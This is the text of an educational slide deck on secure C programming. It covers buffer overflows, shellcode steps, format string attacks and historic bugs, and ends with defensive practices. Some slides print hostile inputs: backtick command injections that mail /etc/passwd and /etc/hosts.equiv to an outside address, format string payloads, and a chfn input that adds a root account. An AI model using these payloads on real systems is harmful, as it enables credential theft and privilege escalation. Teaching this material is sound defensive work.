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Topics Covered:
• Why Secure Programming?
• Common Vulnerabilities.

What are the common bugs?
What are Buffer Overflow attacks?
What are Format String 

vulnerabilities?

• What should I do?
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Why Secure 
Programming?

Discretion will protect you, and understanding 
will guard you. 

- Proverbs 2:11 (NIV)
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What are Secure Programs?

• Programs that have more access rights 
than the user who uses the program.

• Ex: mail servers, http servers, ftp servers 
etc which run as setuid root.

• These programs sit on a "security 
boundary“, i.e. they take input from a 
source that does not have the same 
access rights.

• If these contain certain types of flaws, it 
may be exploited to gain higher privileges.
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The “Breaking In” Algorithm!

• Identify security flaws in common 
setuid programs such as ftpd etc.

• Identify a site running that program 
using a port scanner such as nmap.

• Exploit the flaw in the code and run 
your own code with root permissions.

• Leave behind trojans, back-doors etc. 
for later use and erase all traces.
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Buffer Overflow & Format 
String Vulnerabilities
An enemy will overrun the land; he will pull 

down your strongholds and plunder your 
fortresses. 

- Amos 3:11 (NIV)
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Buffer Overflows

• Occurs when you write a set of values 
(usually a string) into a fixed length buffer 
and write at least one value outside that 
buffer's boundaries.

• Can be exploited to run any code – 
Smashing the Stack.

• In a 1999 survey on Bugtraq, 2/3rds of the 
respondents felt Buffer Overflows were 
leading cause of system vulnerability.
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Danger! Keep Away.

• Risky:
 strcpy (), gets (), strcat (), sprintf ()

• Safe:
strncpy (), strncat (), snprinf ().
Standard C dynamic length : malloc ()
C++ std::string class
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Stack Basics

• C function Call:
 function (a, b, c);

• Assembly:
 pushl $3
 pushl $2
 pushl $1
 call function

• Stack Organization:
buf2      buf1  sfp  ret   a     b    c
  [          ][     ][    ][    ][    ][    ][    ]
   Top of Stack

void function (int a, int b, int c) {
char buf1[5];
char buf2[10];

}
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Segmentation fault. Core 
dumped!

• Program Crashes.
• Return Address 
   overwritten to 
   0x41414141

• Stack Organization:
buffer           sfp  ret   *str     
  [                ][    ][    ][    ]
   Top of Stack

void function (char *str) {
char buffer[16];
strcpy (buffer, str);

}
void main () {

char large_string[256];
int i;
for (i = 0; i < 256; i++)

large_string[i] = ‘A’;
function (large_string);

}
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The Interesting Stuff!

• Q: What would this 
program print?

• A: 0

• Surprised?

• Stack Organization:
 buf2        buf1    sfp  ret   a     b    c
  [            ][        ][    ][    ][    ][    ][    ]
   Top of Stack

void function (int a, int b, int c){
char buf1[5];
char buf2[10];
int *ret;
ret = buf1 + 12;
(*ret) += 8;

}
void main () {

int x; 
x = 0;
function (1, 2, 3);
x = 1;
printf (“%d \n”, x);

}
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The Exploit Itself!

• We’ve seen that the return address can 
be modified. Now attack!

1. Place code to be executed in the buffer we’re 
overflowing.

2. Point the return address back to the buffer.

• Stack
   
   buffer                          sfp     ret   a     b    c
  [SSSSSSSSSSSSSSSS][SSSS][    ][    ][    ][    ]

   Top of Stack
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The Gory Details: Spawning A 
Shell

• Have null terminated “/bin/sh” somewhere in 
memory.

• Have address of this somewhere in memory.
• Copy execve’s system call index 0xb into EAX.
• Parameters to execve:

 EBX: address of address of the string (argv)
 ECX: address of string (path)
 EDX: Null

• Switch to kernel mode. (Execute the int $0x80 
instruction.)

• Exit cleanly (exit (0))
 Copy 0x1 into EAX. (system call index for exit)
 Copy exit code 0x0 into EBX.
 Switch to kernel mode.
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Format String Vulnerabilities

• A Format String Vulnerability is present 
when an attacker is able to provide a 
format string to an ANSI C format function.

• Format String is a ASCIIZ string with text 
and format parameters. Ex: “%s got %d”.

• Vulnerable: printf() , sprintf(), fprintf(), etc. 
and relatives: syslog(), err*(), 
setproctitle(), etc. 
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Role Of The Stack

• printf (“Hi %d, your score is %d.”, uid, score);

• Format String is parsed and values are popped 
off the stack when % is encountered.

[Stack Bottom]

<score>

<uid>

A

[Stack Top]
Address of the 
format string

A

Value of the 
variable uid

<uid>

Value of the 
variable score

<score>
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Stack  Misuse!

printf (user);
• Crash the program (invalid memory 

reference):
Input user as “%s%s%s%s%s%s%s%s%s%s%s%s%s

%s\n” 
• View the stack:

Input user as 
“%08x.%08x.%08x.%08x\n”

• View arbitrary memory location.
• Write arbitrary memory locations!
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Usage

• Wrong:
int func (char *user) {

printf (user);
}

• Correct:
int func (char *user) {

printf (“%s”, user);
}
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Common & Historic 
Vulnerabilities

A wise man attacks the city of the mighty and 
pulls down the stronghold in which they trust. 

- Proverbs 21:22 (NIV)
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What are those bugs?

• Buffer Overflows
• Format String Vulnerabilities
• Environment Variables

To the X Server
DISPLAY = “\`mail me@somewhere.com < /etc/hosts.equiv\`”

• Data As Instructions (meta-
characters) 
To a web-browser asking for host name:
`mail me@somewhere.com < /etc/passwd; echo here.com`



Jaidev Krishna S
Feb ‘03 – June ‘03

Secure Programming 1/30

More Bugs!

• Numeric Overflows
Exceed expected numerical limits. 
Max UID = 216 – 1. To a program such as 

NFS, give a UID input 217 (0000 0000 0000 0001 

0000 0000 0000 0000).
Kernel disregards high-order bits. Presto 

root access!
• Race Conditions

Misuse TOCTTOU (Time Of Check To Time Of 
Use) delays.
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Yet Another Bug!

• Network Problems
Misuse assumptions of servers that 

clients check data.
GECOS field of /etc/passwd: to add new 

user using ypchfn.
o /etc/passwd line:

jaidev:x:501:501:Jaidev Krishna S:/home/jaidev:/bin/bash
o Input to chfn: 

Jaidev Krishna S:/home/jaidev:/bin/bash^V^J
fake::0:0:Gotcha!:/home/jaidev:/bin/bash

o Result:
jaidev:x:501:501:Jaidev Krishna S:/home/jaidev:/bin/bash
Fake::0:0:Gotcha!:/home/jaidev:/bin/bash
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Help! What do I do?

Wisdom will save you from the ways of wicked 
men, from men whose words are perverse...

- Proverbs 2:12 (NIV) 



Jaidev Krishna S
Feb ‘03 – June ‘03

Secure Programming 1/30

Why do people write insecure 
code?

• No curriculum that teaches security / safe programming 
techniques.

• C is an unsafe language.
• Programmers don’t think “multi-user”
• Programmers are human, humans are lazy.
• Programmers aren’t security people; can’t think like 

attackers.
• Consumers don’t care about security.

 Tendency to favor user-friendly instead of secure.
 Most users aren’t aware there’s a problem, assume it 

can’t happen to them, or think things can’t be made 
better.

• Fixing existing software is hard.
• Security costs time, money, effort.
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Prevent vs Cure:
Cure for bad programs!

• Advanced Access Control 
Mechanisms.

• IDS.
• Port Scanner Loggers.
• System snapshots: Tripwire.
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Prevent vs Cure: Prevent; Write 
safe code!

• Validate all input from untrusted sources. 
• Limit max character lengths.
• Avoid filenames with white spaces, “..”, 

magic environment variables.
• Careful with meta-characters.
• Use safer implementations. Ex: strncpy 

instead of strcpy.
• Library: Use libraries such as Libsafe.
• Compiler: StackGurad a modification of 

gcc.
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Paranoia is a Virtue 

• In normal programs, if a user stumbles 
upon a bug in a rarely used feature, they 
will try to avoid using the feature.

• In secure programs, certain users will 
intentionally search out and cause rare or 
unlikely situations, to gain unwarranted 
privileges. 

• When writing secure programs, paranoia is 
a virtue.
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Conclusion

The end of a matter is better than its beginning, 
and patience is better than pride. 

- Ecclesiastes 7:8 (NIV)
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Conclusion

• Writing programs more carefully can 
drastically improve state of computer 
security.

• There is no magic in attacking 
programs; just common sense.
Learn to think dirty!

• Teach Secure Programming!
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More Reading

• "Secure-Programs-HOWTO"
 David A Wheeler 
 http://www.dwheeler.com/secure-programs

• "Smashing The Stack For Fun And Profit"
 Aleph One
 Phrack Magazine - Volume Seven, Issue Forty-Nine.
 http://www.shmoo.com/phrack/Phrack49/p49-14

• “Exploiting Format String Vulnerabilities.”
 Scut / Team Teso.
 http://www.team-teso.net/releases/formatstring.pdf

• “How Attackers Break Programs, and How To Write Programs More 
Securely”
 Matt Bishop
 Department of Computer Science
 University of California at Davis
 http://nob.cs.ucdavis.edu/~bishop/secprog/sans2001.pdf

• “A Lab engineers check list for writing secure Unix code”
 O'Reilly & Associates
 ftp://ftp.auscert.org.au/pub/auscert/papers/secure_programming_checklist 
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Thank You!
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